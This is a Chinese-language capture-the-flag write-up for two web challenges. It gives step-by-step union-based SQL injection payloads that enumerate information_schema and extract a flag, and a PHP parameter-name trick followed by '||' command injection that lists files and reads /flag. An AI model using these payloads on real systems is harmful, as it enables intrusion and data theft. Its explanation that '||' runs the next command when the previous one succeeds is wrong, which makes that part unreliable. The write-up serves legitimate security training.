目錄
[LitCTF 2023]這是什么?SQL !注一下 !
1、題目
2、知識點
3、思路
[SWPUCTF 2023 秋季新生賽]Pingpingping
4、題目
5、知識點
6、思路
[LitCTF 2023]這是什么?SQL !注一下 !
1、題目
2、知識點
數據庫注入,聯合查詢
3、思路
首先,題目有提示我們參數為id,而且告訴我們閉合方式
先正常輸入看看回顯
加上閉合方式,?id=1))))))
結果沒有回顯,加上注釋符
?id=1))))))--+
結果有正常回顯,說明當前的閉合方式是正確的
使用聯合查詢語句 union select?
?id=1)))))) union select 1,2--+
這里有兩個回顯位置
1、接下來判斷庫名
?id=1)))))) union select 1,database()--+
得到當前的庫名為ctf
2、判斷表名,這里要用到group_concat函數,下面會用到concat_ws 或者concat函數,在這里一起說明
group_concat:將group by產生的同一個分組中的值連接起來,返回一個字符串結果,也就是將你要查詢的那一列數據展示出來
concat:用于連接字符串的,concat(str1,'分隔符',str2,'分隔符',str3,...)
返回的結果為參數的結果并帶有分隔符,
concat_ws:用于連接字符串的,concat('分隔符',str1,str2,str3,...)
這個函數的作用跟上面的concat一樣,只不過這個函數可以提前定義好分隔符,不用每個變量后帶'分隔符'
判斷表名
?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf' --+
這里的表只有一個,users
3、判斷字段名
?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='users' --+
得到三個字段:id,username,password
4、判斷值,看看有沒有flag
得到所有的信息,發現flag是假的
現在的情況說明flag藏在其他庫的表里
那怎么查看其他庫名呢?
information_schema這個庫就存了所有數據庫的信息,里面的SCHEMATA表就存了所有庫名
5、查找所有庫名
?id=1)))))) union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA --+
接下來就是找庫里的表,然后字段名、然后值,步驟跟上面一下
flag藏在ctftraining這個庫里
?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' --+
得到表名:flag,news,users
語句跟上面的類似,也就改一下值,有哪里不懂的歡迎來問我,我這里直接到最后一步
下面三句都可以得到flag?
?id=1)))))) union select 1,concat(flag) from ctftraining.flag --+
?id=1)))))) union select 1,concat_ws(',',flag) from ctftraining.flag --+
?id=1)))))) union select 1,flag?from ctftraining.flag --+
得到flag:NSSCTF{76a62524-3666-4478-bf2e-3b231f43fbba}
[SWPUCTF 2023 秋季新生賽]Pingpingping
4、題目
5、知識點
RCE、PHP非法傳參
6、思路
這里要我們上傳Ping_ip.exe的值,上傳后會執行系統命令,ping
1、我們先正常上傳看看
結果沒有任何反應
抓個包看看
在響應包里我們知道了php的版本為:PHP/7.4.33
這里涉及了一個知識點:php的非法傳參:當變量名中出現點
和空格
時將被轉換為下劃線,當PHP版本小于8時,如果參數中出現中括號[,中括號會背轉換成下劃線_,但是中括號后的非法字符(也就是點和空格)不會被轉化為下劃線_
即原來我們的參數?Ping_ip.exe 上傳后會被轉化為?Ping_ip_exe
所以才沒有結果,現在我們把_改成[ ,[會被轉換成_,但后面的點就不會了
Ping[ip.exe ——>?Ping_ip.exe
下面的報錯信息沒有了,說明我們成功執行了系統命令
接下來我們使用 管道符(||)?進行拼接命令
“||” 是一個管道操作符,它用于在命令行中執行多個命令,當前一個命令執行成功時,才會執行后一個命令。
?Ping[ip.exe=127.0.0.1 || ls /
?Ping[ip.exe=127.0.0.1 || cat /flag
得到flag:NSSCTF{9f2fdc0f-5bf4-455b-b211-1eebc2f0914e}
這篇文章就先寫到這里了,哪里不懂的或者哪里不足的歡迎指出